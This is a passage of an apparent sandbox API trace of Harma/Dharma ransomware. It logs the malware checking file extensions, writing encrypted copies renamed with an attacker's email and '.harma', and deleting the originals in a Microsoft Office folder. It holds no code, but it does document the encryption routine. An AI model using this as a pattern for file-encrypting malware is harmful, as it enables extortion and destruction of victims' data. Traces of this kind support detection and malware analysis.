[0156.431] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0156.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0156.431] lstrlenW (lpString=".jpg") returned 4 [0156.431] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0156.431] lstrcmpiW (lpString1=".gta", lpString2=".harma") returned -1 [0156.431] lstrlenW (lpString="Issue Tracking.gta") returned 18 [0156.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.432] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=249535) returned 1 [0156.432] CloseHandle (hObject=0x360) returned 1 [0156.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta")) returned 0x20 [0156.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.433] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.433] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0156.434] GetLastError () returned 0x0 [0156.434] ReadFile (in: hFile=0x360, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x3cebf, lpOverlapped=0x0) returned 1 [0156.447] WriteFile (in: hFile=0x334, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x3cec0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x3cec0, lpOverlapped=0x0) returned 1 [0156.452] ReadFile (in: hFile=0x360, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.452] WriteFile (in: hFile=0x334, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0156.452] SetEndOfFile (hFile=0x334) returned 1 [0156.452] CloseHandle (hObject=0x334) returned 1 [0156.452] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.452] SetEndOfFile (hFile=0x360) returned 1 [0156.459] CloseHandle (hObject=0x360) returned 1 [0156.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta")) returned 1 [0156.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0156.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0156.460] lstrlenW (lpString=".doc") returned 4 [0156.460] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0156.460] lstrlenW (lpString=".docx") returned 5 [0156.460] lstrcmpiW (lpString1=".docx", lpString2="g.gta") returned -1 [0156.460] lstrlenW (lpString=".pdf") returned 4 [0156.460] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0156.460] lstrlenW (lpString=".xls") returned 4 [0156.460] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0156.461] lstrlenW (lpString=".xlsx") returned 5 [0156.461] lstrcmpiW (lpString1=".xlsx", lpString2="g.gta") returned -1 [0156.461] lstrlenW (lpString=".ppt") returned 4 [0156.461] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0156.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0156.461] lstrlenW (lpString=".zip") returned 4 [0156.461] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0156.461] lstrlenW (lpString=".rar") returned 4 [0156.461] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0156.461] lstrlenW (lpString=".bz2") returned 4 [0156.461] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0156.461] lstrlenW (lpString=".7z") returned 3 [0156.461] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0156.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0156.461] lstrlenW (lpString=".dbf") returned 4 [0156.461] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0156.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0156.461] lstrlenW (lpString=".1cd") returned 4 [0156.461] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0156.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0156.461] lstrlenW (lpString=".jpg") returned 4 [0156.461] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0156.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0156.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0156.461] lstrlenW (lpString=".doc") returned 4 [0156.461] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0156.461] lstrlenW (lpString=".docx") returned 5 [0156.461] lstrcmpiW (lpString1=".docx", lpString2="g.gta") returned -1 [0156.461] lstrlenW (lpString=".pdf") returned 4 [0156.461] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0156.462] lstrlenW (lpString=".xls") returned 4 [0156.462] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0156.462] lstrlenW (lpString=".xlsx") returned 5 [0156.462] lstrcmpiW (lpString1=".xlsx", lpString2="g.gta") returned -1 [0156.462] lstrlenW (lpString=".ppt") returned 4 [0156.462] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0156.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0156.462] lstrlenW (lpString=".zip") returned 4 [0156.462] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0156.462] lstrlenW (lpString=".rar") returned 4 [0156.462] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0156.462] lstrlenW (lpString=".bz2") returned 4 [0156.462] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0156.462] lstrlenW (lpString=".7z") returned 3 [0156.462] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0156.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0156.462] lstrlenW (lpString=".dbf") returned 4 [0156.462] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0156.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0156.462] lstrlenW (lpString=".1cd") returned 4 [0156.462] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0156.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0156.462] lstrlenW (lpString=".jpg") returned 4 [0156.462] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0156.462] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0156.462] lstrlenW (lpString="LGND.VSL") returned 8 [0156.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0157.260] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=39296) returned 1 [0157.260] CloseHandle (hObject=0x214) returned 1 [0157.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl")) returned 0x20 [0157.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.304] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.304] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0157.305] GetLastError () returned 0x0 [0157.305] ReadFile (in: hFile=0x364, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x9980, lpOverlapped=0x0) returned 1 [0157.585] WriteFile (in: hFile=0x378, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x9990, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x9990, lpOverlapped=0x0) returned 1 [0157.587] ReadFile (in: hFile=0x364, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.587] WriteFile (in: hFile=0x378, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0157.587] SetEndOfFile (hFile=0x378) returned 1 [0157.587] CloseHandle (hObject=0x378) returned 1 [0157.587] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.587] SetEndOfFile (hFile=0x364) returned 1 [0157.590] CloseHandle (hObject=0x364) returned 1 [0157.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl")) returned 1 [0157.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0157.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0157.591] lstrlenW (lpString=".doc") returned 4 [0157.591] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0157.591] lstrlenW (lpString=".docx") returned 5 [0157.591] lstrcmpiW (lpString1=".docx", lpString2="D.VSL") returned -1 [0157.591] lstrlenW (lpString=".pdf") returned 4 [0157.591] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0157.591] lstrlenW (lpString=".xls") returned 4 [0157.591] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0157.591] lstrlenW (lpString=".xlsx") returned 5 [0157.591] lstrcmpiW (lpString1=".xlsx", lpString2="D.VSL") returned -1 [0157.591] lstrlenW (lpString=".ppt") returned 4 [0157.591] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0157.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0157.591] lstrlenW (lpString=".zip") returned 4 [0157.591] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0157.591] lstrlenW (lpString=".rar") returned 4 [0157.591] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0157.591] lstrlenW (lpString=".bz2") returned 4 [0157.591] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0157.591] lstrlenW (lpString=".7z") returned 3 [0157.591] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0157.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0157.592] lstrlenW (lpString=".dbf") returned 4 [0157.592] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0157.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0157.592] lstrlenW (lpString=".1cd") returned 4 [0157.592] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0157.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0157.592] lstrlenW (lpString=".jpg") returned 4 [0157.592] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0157.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0157.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0157.592] lstrlenW (lpString=".doc") returned 4 [0157.592] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0157.592] lstrlenW (lpString=".docx") returned 5 [0157.592] lstrcmpiW (lpString1=".docx", lpString2="D.VSL") returned -1 [0157.592] lstrlenW (lpString=".pdf") returned 4 [0157.592] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0157.592] lstrlenW (lpString=".xls") returned 4 [0157.592] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0157.592] lstrlenW (lpString=".xlsx") returned 5 [0157.592] lstrcmpiW (lpString1=".xlsx", lpString2="D.VSL") returned -1 [0157.592] lstrlenW (lpString=".ppt") returned 4 [0157.592] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0157.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0157.592] lstrlenW (lpString=".zip") returned 4 [0157.592] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0157.592] lstrlenW (lpString=".rar") returned 4 [0157.592] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0157.592] lstrlenW (lpString=".bz2") returned 4 [0157.592] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0157.592] lstrlenW (lpString=".7z") returned 3 [0157.592] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0157.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0157.593] lstrlenW (lpString=".dbf") returned 4 [0157.593] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0157.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0157.593] lstrlenW (lpString=".1cd") returned 4 [0157.593] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0157.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0157.593] lstrlenW (lpString=".jpg") returned 4 [0157.593] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0157.593] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0157.593] lstrlenW (lpString="MSOUC.HXS") returned 9 [0157.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.626] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=431456) returned 1 [0157.626] CloseHandle (hObject=0x208) returned 1 [0157.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs")) returned 0x20 [0157.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.627] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.627] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0157.993] GetLastError () returned 0x0 [0157.993] ReadFile (in: hFile=0x208, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x69560, lpOverlapped=0x0) returned 1 [0158.125] WriteFile (in: hFile=0x368, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x69570, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x69570, lpOverlapped=0x0) returned 1 [0158.133] ReadFile (in: hFile=0x208, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.133] WriteFile (in: hFile=0x368, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0158.133] SetEndOfFile (hFile=0x368) returned 1 [0158.133] CloseHandle (hObject=0x368) returned 1 [0158.133] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.133] SetEndOfFile (hFile=0x208) returned 1 [0158.143] CloseHandle (hObject=0x208) returned 1 [0158.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs")) returned 1 [0158.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0158.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0158.174] lstrlenW (lpString=".doc") returned 4 [0158.174] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0158.174] lstrlenW (lpString=".docx") returned 5 [0158.174] lstrcmpiW (lpString1=".docx", lpString2="C.HXS") returned -1 [0158.174] lstrlenW (lpString=".pdf") returned 4 [0158.174] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0158.174] lstrlenW (lpString=".xls") returned 4 [0158.174] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0158.174] lstrlenW (lpString=".xlsx") returned 5 [0158.174] lstrcmpiW (lpString1=".xlsx", lpString2="C.HXS") returned -1 [0158.174] lstrlenW (lpString=".ppt") returned 4 [0158.174] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0158.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0158.174] lstrlenW (lpString=".zip") returned 4 [0158.174] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0158.174] lstrlenW (lpString=".rar") returned 4 [0158.174] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0158.174] lstrlenW (lpString=".bz2") returned 4 [0158.174] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0158.174] lstrlenW (lpString=".7z") returned 3 [0158.174] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0158.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0158.174] lstrlenW (lpString=".dbf") returned 4 [0158.174] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0158.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0158.174] lstrlenW (lpString=".1cd") returned 4 [0158.174] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0158.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0158.175] lstrlenW (lpString=".jpg") returned 4 [0158.175] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0158.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0158.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0158.175] lstrlenW (lpString=".doc") returned 4 [0158.175] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0158.175] lstrlenW (lpString=".docx") returned 5 [0158.175] lstrcmpiW (lpString1=".docx", lpString2="C.HXS") returned -1 [0158.175] lstrlenW (lpString=".pdf") returned 4 [0158.175] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0158.175] lstrlenW (lpString=".xls") returned 4 [0158.175] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0158.175] lstrlenW (lpString=".xlsx") returned 5 [0158.175] lstrcmpiW (lpString1=".xlsx", lpString2="C.HXS") returned -1 [0158.175] lstrlenW (lpString=".ppt") returned 4 [0158.175] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0158.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0158.175] lstrlenW (lpString=".zip") returned 4 [0158.175] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0158.175] lstrlenW (lpString=".rar") returned 4 [0158.175] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0158.175] lstrlenW (lpString=".bz2") returned 4 [0158.175] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0158.175] lstrlenW (lpString=".7z") returned 3 [0158.175] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0158.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0158.175] lstrlenW (lpString=".dbf") returned 4 [0158.175] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0158.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0158.175] lstrlenW (lpString=".1cd") returned 4 [0158.176] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0158.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0158.176] lstrlenW (lpString=".jpg") returned 4 [0158.176] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0158.176] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0158.176] lstrlenW (lpString="NETWORK2.VRD") returned 12 [0158.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0158.180] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=2150) returned 1 [0158.180] CloseHandle (hObject=0x348) returned 1 [0158.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd")) returned 0x20 [0158.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.188] 